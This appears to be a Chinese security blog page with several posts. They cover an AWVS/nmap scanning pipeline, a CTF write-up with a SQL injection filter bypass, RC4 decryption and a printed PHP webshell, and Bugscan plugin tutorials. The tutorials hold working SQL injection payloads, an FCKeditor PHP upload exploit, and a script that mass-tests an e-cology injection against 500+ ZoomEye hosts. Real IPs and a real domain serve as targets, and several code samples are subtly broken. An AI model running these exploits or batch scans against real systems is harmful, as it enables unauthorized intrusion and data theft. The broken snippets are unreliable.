整合了一个wvs11的扫描

发布时间:July 14, 2017 // 分类:开发笔记,linux,python,windows // 12 Comments

最近忙里偷闲的整合了一个wvs11的扫描脚本。主要是借助了nmap和wvs11_api来实现。大概就是酱紫

主要是三台机器.
一台centos做子域名爆破+端口扫描+数据收集.
另外两台windows做wvs接收任务并启动扫描

关于wvs11的api之前有做过介绍
http://0cx.cc/about_awvs11_api.jspx
具体的利用方式以及导出为xml格式的报告。最后对xml进行处理的脚本都在
https://github.com/0xa-saline/acunetix-api

域名爆破修改自lijiejie的subDomainsBrute。加入第三方的收集,以及在端口扫描之前对ip进行处理.就是同c段的取最大和最小的来强制加入中间段的扫描.
https://github.com/0xa-saline/subDomainsBrute

端口扫描主要依赖是nmap。这里调用的是python-nmap
http://0cx.cc/solve_bug_withe-python-nmap.jspx
http://0cx.cc/some_skill_for_quen.jspx

主要是来判断端口以及对应的服务.如果出现来http/https的服务以后直接放入wvs里面扫描

部分插件调用的是bugscan的扫描脚本
http://0cx.cc/which_cms_online.jspx

其实主要的服务扫描则是非常漂亮的fenghuangscan.字典的加载方式则是参考了bugscan的加载。可以依赖于域名来切割加入字典

大概有这么一些服务类

多数是弱口令检测以及弱服务类型.

主要是把任务推送到wvs。看到wifi万能钥匙src放出来一些测试域名。测试来几个..

神秘小姐姐的留言板

发布时间:March 17, 2017 // 分类:PHP,开发笔记,代码学习,代码审计 // No Comments

太久没有搞过这种耗脑子的游戏了

地址:http://c.bugscan.net/#!/boss/12

访问地址发现一任意文件读取

http://112.126.88.39:10247/include.php?file=suanfa.php

各种读以后发现medium.php中存在注入

<?php 
if ($_SERVER['HTTP_USER_AGENT'] != "seclover Browser") {
    echo '没用的!!!';
    exit;
}
$id = $_POST['soid'];
include 'Conf/xycms.inc.php';
include 'seclover.php';
include 'filter.php';
$id = seclover($id);
$con = mysql_connect($db_address, $db_user, $db_pass) or die("不能连接到数据库!!" . mysql_error());
mysql_select_db($db_name, $con);
$id = mysql_real_escape_string($id);
$sql = "SELECT * FROM `message` WHERE display=1 AND id={$id}";
$rs=mysql_fetch_array($result); echo htmlspecialchars($rs['nice']).':<br/>    '.filter($rs['say']).'<br />'; 
mysql_free_result($result); 
mysql_close($con);
?> 

读取seclover.php发现为一过滤函数

<?php
function seclover($content)
{
    $keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");
    $info = strtolower($content);
    for ($i = 0; $i <= count($keyword); $i++) {
        $info = str_replace($keyword[$i], '', $info);
    }
    return $info;
}

但是可以利用selselectect来匹配以后替换还剩下select这样的方式继续注入.继续回到medium.php。

if ($_SERVER['HTTP_USER_AGENT'] != "seclover Browser") {
    echo '没用的!!!';
    exit;
}

发现需要匹配的ua必选是seclover Browser。不然不能执行sql语句。post传递的值经过没有什么用的mysql_real_escape_string以后再进入sql。
经过一番xxx发现字段为4.但是有一个神奇的存在,传递到sql的id必须是不存在的.不然sql正常执行了却没有办法回显我们需要的内容
传入一个存在的

传入一个不存在的

坑爹的玩意...折腾这个一个下午啊...
然后就是猜表..期间还下载了真正的源码回来测试.

$keyword = array("select", "union", "and", "from", ' ', "'", ";", '"', "char", "or", "count", "master", "name", "pass", "admin", "+", "-", "order", "=");

果断的猜测是admin

果然是..用户名差字段不多就是username了.密码的字段找了一圈没有找到..后来发现后台是
http://112.126.88.39:10247/login/
观察了一下字段信息

  <form  name="login" method="post" 
  action="./pass.php">
    <label>用户名:
      <input type="text" name="username" />
    </label>
    <p>密&nbsp;码:
      <input type="password" name="userpass" />
  </p>
    <p>
      <label>
      <input type="submit" name="Submit" value="登录" />
      </label>
    </p>
  </form>

好吧,测试下userpass

soid=0/**/anandd/**/11%3C%3E12/**/uniunionon/**/selselectect/**/1,2,userppassass,4/**/ffromrom/**/aadmindmin/**/limit/**/1


得到的字符是加密的.记得第一次访问include.php的时候跟的是suanfa.php

<?php
base64_encode(rc4($content, "yangrong"));
function rc4($data, $pwd)
{
    $cipher = "";
    $key[] = "";
    $box[] = "";
    $pwd_length = strlen($pwd);
    $data_length = strlen($data);
    for ($i = 0; $i < 256; $i++) {
        $key[$i] = ord($pwd[$i % $pwd_length]);
        $box[$i] = $i;
    }
    for ($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $key[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    for ($a = $j = $i = 0; $i < $data_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        $k = $box[($box[$a] + $box[$j]) % 256];
        $cipher .= chr(ord($data[$i]) ^ $k);
    }
    return $cipher;
}

搜了一下rc4的相关内容.发现了一些有趣的东西。C4 加密算法還原 (還原只需要重新加密一次)

$key = '5201314';                               //原始KEY
$pwd = md5(md5($key).'我是常量');     //md5+常量
$data = '我愛北京天安門';                    //要加密的數據
$cipher = rc4($pwd, $data);                //AC4 加密算法
$c = rc4($pwd, $cipher);                    //AC4 加密算法還原 (還原只需要重新加密一次)

那么解密的方式就是

访问就得到了密码。登录后台以后发现

果断的读取

<?php
$pwd = "cmd00";
if (isset($_POST[$pwd]) && !empty($_POST[$pwd])) {
    $cmd = $_POST['cmd'];
    $path = $_POST['path'];
    switch ($cmd) {
        case 'ls':
            echo @FileTreeCode($path);
            break;
        case 'cat':
            echo @file_get_contents($path);
            break;
        default:
            die('Command Not Found Or No Permission!');
            break;
    }
}
function FileTreeCode($D)
{
    $ret = "";
    $F = @opendir($D);
    if ($F == NULL) {
        $ret = "ERROR:// Path Not Found Or No Permission!";
    } else {
        $M = NULL;
        $L = NULL;
        while ($N = @readdir($F)) {
            $P = $D . "/" . $N;
            $T = @date("Y-m-d H:i:s", @filemtime($P));
            @($E = substr(base_convert(@fileperms($P), 10, 8), -4));
            $R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\n";
            if (@is_dir($P)) {
                $M .= $N . "/" . $R;
            } else {
                $L .= $N . $R;
            }
        }
        $ret .= $M . $L;
        @closedir($F);
    }
    return $ret;
}

一个小马..简直6到不行..

提交flag

太久没弄了..学到好多姿势..

利用bugscan插件打造自己的漏扫

发布时间:July 11, 2015 // 分类:工作日志,开发笔记,linux,python,windows,转帖文章,生活琐事 // No Comments

如果要针对某个特定的漏洞来对目标进行检测, 直接丢到bugscan里显然有点大材小用,而且灵活性也不高。

就选一个泛微的漏洞吧,泛微e-cology 未授权下载文件处sql注入

新建个目录叫bugscan, 把这个插件保存为ecology.py,并放到这个目录下, 在ecology.py里再加一句话from dummy import *

tu

另外再新建个__init__.py的空文件, 把bugscan的sdk中的dummy文件夹也放到这里面

我的截图如下

tu

然后到bugscan的上级目录新建个py脚本

#!/usr/bin/python
from  bugscan import ecology
ecology.audit('http://220.248.243.186:8081/')

运行下 tu

然后就可以调用了。。

现在来批量。

查找目标zoomeye 
有500多台主机吧。。 
稍微改写下脚本

#!/usr/bin/python
from  bugscan import ecology

#target每个ip用换行隔开的,为了采集简单我查找的80端口
targets = file('target').readlines()

for target in targets:
    target = target.rstrip()
    ecology.audit("http://"+target+":80/")

tu

bugscandk下载地址:https://www.bugscan.net/sdk.zip

zoomeye:http://www.zoomeye.org/

VC之爬虫bugscan

发布时间:April 26, 2015 // 分类:VC/C/C++,windows // No Comments

最近学习python,昨晚折腾到半夜。今天想起来也是醉了.

然后今儿拿VC来重新写了一个

//从用户提供的url  www.bugscan.net/bug/111  中获取 漏洞id
    CRegex reid("www.bugscan.net/bug/(\\d+)");
    reid.RegMatch(target);
 
 
    CBaseSec bugscan("https://www.bugscan.net");
    bugscan.init();
     
    //设置http请求头部
    bugscan.SetContentType("application/json; charset=UTF-8");
    bugscan.SetHttpHeader("Referer: https://www.bugscan.net/");
    bugscan.SetCookie("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx");
     
     
    //发送获取漏洞信息的请求
    CString postdata="{\"method\":\"GetPluginDetail\",\"params\":["+reid.strMat+"]}";
    bugscan.PostRequest("/rest",postdata.GetBuffer(0),TRUE);
 
    //获取漏洞描述
    CString desc=bugscan.getInfo("\"description\":\"(.*?)\"");
    if (desc=="")
    {
        //无漏洞描述,视此漏洞id无效
        return "";
    }
    //获取漏洞的fname
    CString fname=bugscan.getInfo("\"fname\":\"(.*?)\"");
    //获取源码
    CString source=bugscan.getInfo("\"source\":\"(.*?)\",\"status");
    source.Replace("\\\"","\"");
 
 
    //将源码写入到文件
    CString filename="";
    filename.Format("%s-%s",reid.strMat,fname);
    CStdioFile logtxt(filename,CFile::modeReadWrite | CFile::shareDenyNone | CFile::typeText | CFile::modeCreate | CFile::modeNoTruncate);
    logtxt.SeekToEnd();
    //要写入的数据
    CString data="";
    data="#"+desc+"\n\n"+source;
    data.Replace("\\r","\r");
    data.Replace("\\n","\n");
    logtxt.WriteString(data);

bugscan编写之python学习

发布时间:April 26, 2015 // 分类:代码学习,python // No Comments

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#refer :http://www.wooyun.org/bugs/wooyun-2014-070316
#refer :http://www.wooyun.org/bugs/wooyun-2014-063225
 
def assign(service, arg):
    if service == "shopbuilder":
        return True, arg
 
def audit(arg):
    url1 = arg + '?m=vote/admin&s=vote&vid=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))'
    url2 = arg + '?m=vote/admin&s=vote_list&did=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))'
    url3 = arg + '?m=news/admin&s=news&newsid=extractvalue(1,concat(0x3a,md5(3.14),0x3a))'
    url4 = arg + '?m=news/admin&s=newslist&did=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23'
    url5 = arg + '?m=news/admin&s=newslist&nclass=1&chk[]=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23'
    code1, head1, res1, errcode1,finalurl1 =  curl.curl(url1)
    code2, head2, res2, errcode2,finalurl2 =  curl.curl(url2)
    code3, head3, res3, errcode3,finalurl3 =  curl.curl(url3)
    code4, head4, res4, errcode2,finalurl4 =  curl.curl(url4)
    code5, head5, res5, errcode5,finalurl5 =  curl.curl(url5)
    if code1 == 200 or code2 == 200 or code3 ==200 or code4 == 200 or code5 == 200:
        if "4beed3b9c4a886067de0e3a094246f7" in res1 or "4beed3b9c4a886067de0e3a094246f7" in res2 or "4beed3b9c4a886067de0e3a094246f7" in res3 or "4beed3b9c4a886067de0e3a094246f7" in res4 or "4beed3b9c4a886067de0e3a094246f7" in res5:
            security_hole('find sql injection: ' + arg+ '?m=vote/admin')
 
if __name__ == '__main__':
    from dummy import *
    audit(assign('shopbuilder', 'http://www.exploit.com/')[1])

自己看起来都惨不忍睹,后来xx提议使用一个for循环吧。再使用break跳出来就好了。自己查询了下,就弄了一个出来

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#from : http://www.wooyun.org/bugs/wooyun-2014-067081
 
def assign(service, arg):
    if service == "shopbuilder":
        return True, arg
 
def audit(arg):
    payload=['?m=vote/admin&s=vote&vid=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=vote/admin&s=vote_list&did=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=news/admin&s=news&newsid=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=news/admin&s=newslist&did=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23',
    '?m=news/admin&s=newslist&nclass=1&chk[]=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23',
             ] #全部写进一个数组
    for i in range(len(payload)): #先获取整个数组的长度
        url = arg + payload[i]
        code, head, res, errcode,finalurl =  curl.curl(url)
        if code == 200 and "4beed3b9c4a886067de0e3a094246f7" in res: #如果满足整个条件
            security_hole('find sql injection: ' + url) #输出结果
            break #跳出循环
             
         
if __name__ == '__main__':
    from dummy import *
    audit(assign('shopbuilder', 'http://www.zgzyjczs.com/')[1])

后来看到某牛评论说是

循环读取没必要使用元组下标,直接从元组里循环就行

for payload in payloads:
    url = arg + payload
    code, head, res, errcode,finalurl =  curl.curl(url)
    ……

循环如果完了以后其实没必要有break的,而且你这属于多个payload挨个监测,其实让他检测完才是最好的情况

所以,最后的exploit是这个样子了

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#from : http://www.wooyun.org/bugs/wooyun-2014-067081
 
def assign(service, arg):
    if service == "shopbuilder":
        return True, arg
 
def audit(arg):
    payloads=('?m=vote/admin&s=vote&vid=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=vote/admin&s=vote_list&did=11%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=news/admin&s=news&newsid=extractvalue(1,concat(0x3a,md5(3.14),0x3a))',
    '?m=news/admin&s=newslist&did=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23',
    '?m=news/admin&s=newslist&nclass=1&chk[]=1%29%20and%201=extractvalue(1,concat(0x3a,md5(3.14),0x3a))%23',
             )
    for payload in payloads:
        url = arg + payload
        code, head, res, errcode,finalurl =  curl.curl(url)
        if code == 200 and "4beed3b9c4a886067de0e3a094246f7" in res:
            security_hole(url)
         
if __name__ == '__main__':
    from dummy import *
    audit(assign('shopbuilder','http://www.example.com/')[1])

 

关于bugscan插件的写法

发布时间:April 26, 2015 // 分类:代码学习,python // No Comments

仅仅局限于web层次的,这里的使用的是curl方式进行的请求

根据给出的SDK,一个标准的插件的代码如下

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Plugin Format
#_Function_ = 插件格式
#_FileName_ = Plugin_Format.py
######建议把之上的东西都带上,以便于辨认######
def assign(service, arg):
  if service == "service":  # 1. service字符串
    return True, arg 
def audit(arg):
  print "hello, world !"
  # 2.主体攻击代码部分
if __name__ == '__main__':
  from dummy import *
  audit(assign('service', 'http://www.example.com/')[1])
  # 3. service字符串
  # 4. http://www.example.com/ 字符串

在一些时候我们需要让插件像个正常访问者一样去请求网页

这就需要我们的插件具备HTTP通信的能力,而这里BugScan官方给出了curl类的curl函数,能够更加方便的取获取网页的信息

我们先看一下curl的帮助信息,中文版哦

    curl是一个使用纯Python编写的工具,只支持HTTP协议

命令行格式:
curl [-I | -d DATA] [-A USER_AGENT] [-b COOKIE]
   [--connect-timeout CONNECT_TIMEOUT] [-e REFERER]
   [-H HEADER] [-i] [-m MAX_TIME]
   [--max-filesize MAX_FILESIZE] [--mime-type MIME_TYPE]
   [-L] [--max-redirs MAX_REDIRS] [-T] [--retry RETRY]
   [--retry-delay RETRY_DELAY] [-u USER] [-X REQUEST]
    
     
--mime-type 参数表示指定一个MimeType,如果MimeType类型不对,curl将会抛出一个错误(找不到指定字符串类型)
curl函数执行以后会以元组形式返回5个值,我们可以使用5个变量去接收这5个返回值:
  code:返回HTTP状态码
  head:返回HTTP头
  body:返回HTTP内容,即HTML
  errcode :返回curl的状态码,代码随后解释
  final_url   :返回提交的URL
errcode状态码解释:
  0 : 返回正常
  1 : 不能连接目标URL
  2 : 连接超时
  3 : 返回异常
  4 : 发送异常
  5 : 发送数据包过大
  6 : 不能确定的主机
  7 : 不支持的协议
  8 : 参数错误
  9 : MimeType错误
一些举例:
  code, head, body, ecode, redirect_url = curl.curl('-L http://www.baidu.com')
  GET提交:
    curl.curl('http://www.abc.com/')
  带HEAD提交:
    curl.curl('-H http://www.abc.com/')
  POST提交:
    curl.curl('-d user=abc&pass=ddd http://www.abc.com/')
  PUT提交:
    curl.curl('T -d "Content to put" http://www.abc.com/')
  带Cookie提交:
    curl.curl('-b user=abc&pass=ddd http://www.abc.com/')
  带Referer提交:
    curl.curl('-e http://www.google.com/ http://www.abc.com/')
  重定向数据流:
    curl.curl('-L http://www.abc.com/')
curl会在获取网页内容的过程中自动去接收cookie,在进行第二次请求的时候将附加到HTTP头,如果想保持cookie为空,请使用curl.reset()

那么现在我们想让我们的插件去像个正常的访问者一样去访问百度,那么我们的代码可以这么写

#!/usr/bin/env python
code, head, body, errcode, final_url = curl.curl('http://www.baidu.com')

什么,你告诉我执行完了啥都没有? 当然啥都没有了,这个只是一个获取并赋值的过程,你见过你定义一个变量之后就返回变量值么? 如果我要显示内容,我们可以用print打印出来

#!/usr/bin/env python
code, head, body, errcode, final_url = curl.curl('http://www.baidu.com')
# 以下显示HTTP状态码
print '---------------code---------------'
print code
# 以下显示HTTP头
print '---------------code---------------'
print head
# 以下显示HTTP主体内容(HTML)
print '---------------code---------------'
print body
# 以下显示curl的状态码
print '-------------err code-------------'
print errcode
# 以下显示curl访问的URL
print '------------final_url-------------'
print final_url

这样我们就获取到了百度的主页内容,当然如果要像浏览器一样显示出来,我们还需要进行HTML解析和渲染,当然curl不具备此功能(一个命令行工具要求那么多作死啊)那么接下来我们带着一些参数去访问

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
  if service == "www":  
    return True, arg 
def audit(arg):
  payload = 'readnews.asp?id=1 and 1=1' 
  # 注意这里的payload部分不需要在之前加入/,否则接下来的curl没办法正确识别url
  target = arg + payload
  code1, head, body1, errcode, final_url = curl.curl('"%s"', % arg)
  # 使用格式化输入,保证我们带入的字符串不被当做指令来执行
  code2, head, body2, errcode, final_url = curl.curl('"%s"', % target)
  #同上
  if code1 == 200 and code2 == 200 and body1 == body2 :
    # 判断加和不加payload的网页的HTTP状态码是否为200
    # 同时判断加和不加payload的网页的内容是否一样(and 1=1返回是否与原网页一样)
    print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
  from dummy import *
  audit(assign('www', 'http://www.test.com/')[1])

这样我们就完成了一个最基本的检测注入漏洞的插件,当然这个插件功能上有些弱

不过这个插件已经能说明一些问题了

木有错,给BugScan写插件就这么简单

这里我们的举例是GET方式的提交,那么POST方式的提交我们可以写成以下的样子

使用POST提交的时候curl的参数为 -d

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
  if service == "www":  
    return True, arg 
def audit(arg):
  URL = 'check.asp' 
  POST_Data = 'username=admin&password=admin888'  #正常的POST数据
  payload = 'username=admin and 1=1&password=admin888'  #带有攻击语句的POST数据
  target = arg + payload
  code1, head, body1, errcode, final_url = curl.curl('"-d %s %s"' % (POST_Data, target))
  # 使用-d 参数带入POST数据
  # 使用格式化输入,保证我们带入的字符串不被当做指令来执行
  code2, head, body2, errcode, final_url = curl.curl('"-d %s %s"', % (payload, target))
  #同上
  if code1 == 200 and code2 == 200 and body1 == body2 :
    # 判断加和不加payload的网页的HTTP状态码是否为200
    # 同时判断加和不加payload的网页的内容是否一样(and 1=1返回是否与原网页一样)
    print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
  from dummy import *
  audit(assign('www', 'http://www.test.com/')[1])

我们也可以带着cookie提交

使用cookie提交的参数为 -b

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
  if service == "www":  
    return True, arg 
def audit(arg):
  URL = 'main.asp' 
  cookie = 'sessionid=PHPSESSIONADMIN;username=admin;passcode=21232f297a57a5a743894a0e4a801fc3'  #cookie值
  target = arg + payload
  code, head, body, errcode, final_url = curl.curl('"-b %s %s"' % (POST_Data, target))
  # 使用-d 参数带入POST数据
  # 使用格式化输入,保证我们带入的字符串不被当做指令来执行
  #同上
  if code == 200 :
    print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
  from dummy import *
  audit(assign('www', 'http://www.test.com/')[1])

我们也可以同时带着多个参数去请求

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__Author__ = LinE
#_PlugName_ = Test Plugin
#_FileName_ = Test_Plugint.py
def assign(service, arg):
  if service == "www":  
    return True, arg 
def audit(arg):
  URL = 'main.asp' 
  cookie = 'sessionid=PHPSESSIONADMIN;username=admin;passcode=21232f297a57a5a743894a0e4a801fc3'  #cookie值
  POST = 'SQL=select username,password from admin'
  target = arg + payload
  code, head, body, errcode, final_url = curl.curl('"-b %s -d %s %s"' % (cookie, POST, target))
  # 使用-b 参数带入cookie数据
  # 使用-d 参数带入POST数据
  # 使用格式化输入,保证我们带入的字符串不被当做指令来执行
  #同上
  if code == 200 :
    print 'Find Vulnerability !' #打印信息
if __name__ == '__main__':
  from dummy import *
  audit(assign('www', 'http://www.test.com/')[1])

看了手册,我们来写几个简单的插件

1.GET方式请求的

#!/usr/bin/env python
# -*- coding: utf-8 -*-
def assign(service,arg):
    if service == "fangweituangou":#系统名称
        return True, arg
         
def audit(arg):
    payload = "index.php?m=Article&a=showByUname&uname=a%27and%20(select%201%20from%20(select%20count(*),concat(version(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%23"  #写入的进行请求的payload
    target = arg + payload
    code, head, res, errcode,finalurl =  curl.curl('"%s"', % target) #这里是GET请求
 
    if code == 200:
    if "for key 'group_key'" in res:    #匹配关键字
        security_hole('find sql injection: ' + arg+'index.php')
         
if __name__ == "__main__":
    from dummy import *
    audit(assign('fangweituangou', 'http://www.example.com/')[1])

2.POST方式进行的请求

#!/usr/bin/env python
# -*- coding: utf-8 -*-
def assign(service, arg):
    if service == "fangweituangou":
        return True, arg
         
def audit(arg):
    url = arg + "/m.php?m=User&a=doLogin"
    payload = "origURL=ghost&password=ghost&email=ghost%27and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#"
    code, head, res, errcode,finalurl =  curl.curl('"-d %s %s"', % (payload, url)) 
    #curl target -d data 使用POST的方式传输值
    if code == 200:
        if res.find("for key 'group_key'") != -1:#匹配关键字
            security_hole('find sql injection: ' + url)
             
if __name__ == '__main__':
    from dummy import *
    audit(assign('fangweituangou', 'http://www.example.com/')[1])

3.带cookie的请求方式

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
def assign(service,arg):
    if service == "fangweituangou":
        return True, arg
 
def audit(arg):  
    payload = 'index.php'
    cookie = 'email=czoxOTE6IidBTkQgKFNFTEVDVCAxIEZST00oU0VMRUNUIENPVU5UKCopLENPTkNBVCgoU0VMRUNUIFNVQlNUUklORyhDT05DQVQoYWRtX25hbWUsMHg3YyxhZG1fcHdkLDB4N2MpLDEsNjApIEZST00gdDFfYWRtaW4gTElNSVQgMCwxKSxGTE9PUihSQU5EKDApKjIpKVggRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIEdST1VQIEJZIFgpYSkjIjs=;password=0;'
     
    target = arg + payload
    code, head, res, errcode, final_url = curl.curl('-b %s %s' % (cookie,target))
    #curl -b cookie target 使用cookie的方式传输值
    if code == 200:  
        if "[message] => MySQL Query Error" in res: #匹配关键字
            security_hole('find sql injection: ' + arg+'index.php')
 
if __name__ == "__main__":
    from dummy import *
    audit(assign('fangweituangou', 'http://www.example.com/')[1])

4.带HEAD提交:

curl.curl('-H http://www.abc.com/')

#!/usr/bin/env python
# -*- coding: utf-8 -*-
 
def assign(service,arg):
    if service == "ShopBuilder":
        return True, arg
 
def audit(arg):
    payload = "X-Forwarded-For:127.0.0.1' and extractvalue(1,concat(0x3a,md5(3.14),0x3a)) and '1"
    #自己定义一个X-Forwarded-For
    url = arg + 'index.php'
    code, head, res, errcode,finalurl =  curl.curl("-H \"%s\" %s" % (payload,url))
    #curl -H 带头部进行访问
    if code == 200 and '4beed3b9c4a886067de0e3a094246f7' in res:
        security_hole('find X-Forwarded-For sql inject::'+url)
 
if __name__ == "__main__":
    from dummy import *
    audit(assign('ShopBuilder', 'http://www.example.com/')[1])

5.上传的类型

#!/usr/bin/env python
# -*- coding: utf-8 -*-
#__author__ = 'ontheway'
import re
 
'''
fckeditor版本 <= 2.4.3
'''
def fck2_4_3(host):
    path = "editor/filemanager/upload/php/upload.php?Type=Media"
    data = "------WebKitFormBoundaryba3nn74V35zAYnAT\r\n"
    data += "Content-Disposition: form-data; name=\"NewFile\"; filename=\"ssdlh.php\"\r\n"
    data += "Content-Type: image/jpeg\r\n\r\n"
    data += "GIF89a<?php print(md5(521521));?>\r\n"
    data += "------WebKitFormBoundaryba3nn74V35zAYnAT--\r\n"
    head = "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryba3nn74V35zAYnAT\r\n"
    url = host + path
    code, head, body, ecode, redirect_url = curl.curl('-H \'%s\' -d \'%s\' %s' % (head,data,url))
    #因为上传,我们需要有POST数据的头部,还要有data的内容
    if code == 200:
        shell = re.findall("eted\(\d+,\"(.+?.php)\"",body)
        if shell:
            phpurl = util.urljoin(host, '../'+shell[0])
            code, head, body, ecode, redirect_url = curl.curl(phpurl)
            if code==200 and '35fd19fbe470f0cb5581884fa700610f' in body:
                security_hole('upload vulnerable:%s' % phpurl)
            else:
                security_info('maybe vulnerable:%s' % phpurl)
                 
  def assign(service, arg):
    if service == "fckeditor":
        return True, arg
 
 
def audit(arg):
    fck2_4_3(arg)

 

分类
最新文章
最近回复
  • 轨迹: niubility!
  • 没穿底裤: 好办法..
  • emma: 任务计划那有点小问题,调用后Activation.exe不是当前活动窗口,造成回车下一步下一步...
  • 没穿底裤: hook execve函数
  • tuhao lam: 大佬,还有持续跟进Linux命令执行记录这块吗?通过内核拦截exec系统调用的方式,目前有没有...